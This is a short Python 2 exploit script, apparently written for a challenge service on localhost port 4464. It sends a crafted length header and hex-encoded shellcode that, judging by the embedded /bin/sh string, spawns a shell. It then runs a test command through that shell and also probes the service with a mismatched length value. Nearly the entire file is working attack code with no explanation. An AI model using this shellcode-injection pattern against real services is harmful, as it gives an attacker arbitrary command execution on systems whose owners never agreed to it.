#!/usr/bin/python

import socket

server = ('localhost', 4464)

payload  = '00000032'
payload += 'c0000010020080d2e00b00a9e1030091a81b80d2010000d42f62696e2f736800'.decode('hex')
payload += '\0'*32

always = ''

def main():
    sock = socket.socket()
    sock.connect(server)
    sock.send(payload + 'echo Haha totally pwned\n')
    win = sock.recv(1024)

    sock = socket.socket()
    sock.connect(server)
    sock.send('32\nlolnot32\n')
    fail = sock.recv(1024)
    return fail + win

if __name__ == '__main__':
    print main()
